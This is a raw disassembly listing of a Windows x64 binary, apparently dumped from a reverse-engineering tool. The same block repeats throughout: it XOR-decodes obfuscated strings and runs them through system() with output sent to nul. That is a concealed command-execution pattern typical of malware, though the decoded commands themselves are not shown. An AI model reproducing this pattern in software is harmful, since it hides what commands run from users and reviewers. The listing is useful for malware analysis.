movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140052030
cmp r8d, 0x34
jge 0x140052165
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140052131
mov r8, rdi
lea rcx, [rbp + 0x3040]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, [0x1401551cc]
lea rcx, [rbp + 0x3060]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x3080]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x30a0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x30a0]
call fcn.140077840
lea rcx, [rbp + 0x3080]
call fcn.140077840
lea rcx, [rbp + 0x3060]
call fcn.140077840
lea rcx, [rbp + 0x3040]
call fcn.140077840
lea rcx, [rbp + 0x3020]
call fcn.140077840
lea rcx, [rbp + 0x3000]
call fcn.140077840
mov edx, 0xa
lea rcx, [rbp + 0x30c0]
call fcn.140042780
mov edx, 4
lea rcx, [rbp + 0x30e0]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x4871]
xor eax, eax
lea rcx, [rbp + 0x38]
mov byte [rbp + 0x38], al
call fcn.1400704e0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x1400523b4
mov r8d, r14d
cmp r15d, 2
jl 0x14005236c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140052271
cmp r8d, 0x34
jge 0x1400523b4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140052380
mov r8, rdi
lea rcx, [rbp + 0x3100]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, [0x1401551cc]
lea rcx, [rbp + 0x3120]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x3140]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3160]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3160]
call fcn.140077840
lea rcx, [rbp + 0x3140]
call fcn.140077840
lea rcx, [rbp + 0x3120]
call fcn.140077840
lea rcx, [rbp + 0x3100]
call fcn.140077840
lea rcx, [rbp + 0x30e0]
call fcn.140077840
lea rcx, [rbp + 0x30c0]
call fcn.140077840
mov byte [0x1404de286], 0
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3180]
call fcn.140042780
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x31a0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4414]
xor eax, eax
lea rcx, [rbp + 0x39]
mov byte [rbp + 0x39], al
call fcn.140070510
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140052605
mov r8d, r14d
cmp r15d, 2
jl 0x1400525cb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400524d0
cmp r8d, 0x32
jge 0x140052605
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x1400525d1
mov r8, rbx
lea rcx, [rbp + 0x31c0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x31e0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x31e0]
call fcn.140077840
lea rcx, [rbp + 0x31c0]
call fcn.140077840
lea rcx, [rbp + 0x31a0]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3200]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4102]
xor eax, eax
lea rcx, [rbp + 0x3a]
mov byte [rbp + 0x3a], al
call fcn.140070540
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400527f4
mov r8d, r14d
cmp r15d, 2
jl 0x1400527ac
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400526b1
cmp r8d, 0x31
jge 0x1400527f4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400527c0
mov r8, rbx
lea rcx, [rbp + 0x3220]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3240]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3240]
call fcn.140077840
lea rcx, [rbp + 0x3220]
call fcn.140077840
lea rcx, [rbp + 0x3200]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3260]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4133]
xor eax, eax
lea rcx, [rbp + 0x3b]
mov byte [rbp + 0x3b], al
call fcn.140070570
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400529d5
mov r8d, r14d
cmp r15d, 2
jl 0x14005299b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400528a0
cmp r8d, 0x31
jge 0x1400529d5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400529a1
mov r8, rbx
lea rcx, [rbp + 0x3280]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x32a0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x32a0]
call fcn.140077840
lea rcx, [rbp + 0x3280]
call fcn.140077840
lea rcx, [rbp + 0x3260]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x32c0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4164]
xor eax, eax
lea rcx, [rbp + 0x3c]
mov byte [rbp + 0x3c], al
call fcn.1400705a0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052bc4
mov r8d, r14d
cmp r15d, 2
jl 0x140052b7c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140052a81
cmp r8d, 0x31
jge 0x140052bc4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140052b90
mov r8, rbx
lea rcx, [rbp + 0x32e0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3300]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3300]
call fcn.140077840
lea rcx, [rbp + 0x32e0]
call fcn.140077840
lea rcx, [rbp + 0x32c0]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3320]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4195]
xor eax, eax
lea rcx, [rbp + 0x3d]
mov byte [rbp + 0x3d], al
call fcn.1400705d0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052da5
mov r8d, r14d
cmp r15d, 2
jl 0x140052d6b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140052c70
cmp r8d, 0x31
jge 0x140052da5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140052d71
mov r8, rbx
lea rcx, [rbp + 0x3340]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3360]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3360]
call fcn.140077840
lea rcx, [rbp + 0x3340]
call fcn.140077840
lea rcx, [rbp + 0x3320]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3380]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x41c6]
xor eax, eax
lea rcx, [rbp + 0x3e]
mov byte [rbp + 0x3e], al
call fcn.140070600
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052f94
mov r8d, r14d
cmp r15d, 2
jl 0x140052f4c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140052e51
cmp r8d, 0x31
jge 0x140052f94
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140052f60
mov r8, rbx
lea rcx, [rbp + 0x33a0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x33c0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x33c0]
call fcn.140077840
lea rcx, [rbp + 0x33a0]
call fcn.140077840
lea rcx, [rbp + 0x3380]
call fcn.140077840
xor eax, eax
lea rdx, [rbp + 0x4cea]
lea rcx, [rbp + 0x3f]
mov byte [rbp + 0x3f], al
call fcn.140070630
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140053165
mov r8d, r14d
cmp r15d, 2
jl 0x14005312b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140053030
cmp r8d, 0x3a
jge 0x140053165
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x140053131
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x33e0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x41f7]
xor eax, eax
lea rcx, [rbp + 0x40]
mov byte [rbp + 0x40], al
call fcn.140070670
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400532f5
mov r8d, r14d
cmp r15d, 2
jl 0x1400532bb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400531c0
cmp r8d, 0x31
jge 0x1400532f5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400532c1
mov r8, rbx
lea rcx, [rbp + 0x3400]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3420]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3420]
call fcn.140077840
lea rcx, [rbp + 0x3400]
call fcn.140077840
lea rcx, [rbp + 0x33e0]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3440]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4228]
xor eax, eax
lea rcx, [rbp + 0x41]
mov byte [rbp + 0x41], al
call fcn.1400706a0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400534e4
mov r8d, r14d
cmp r15d, 2
jl 0x14005349c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
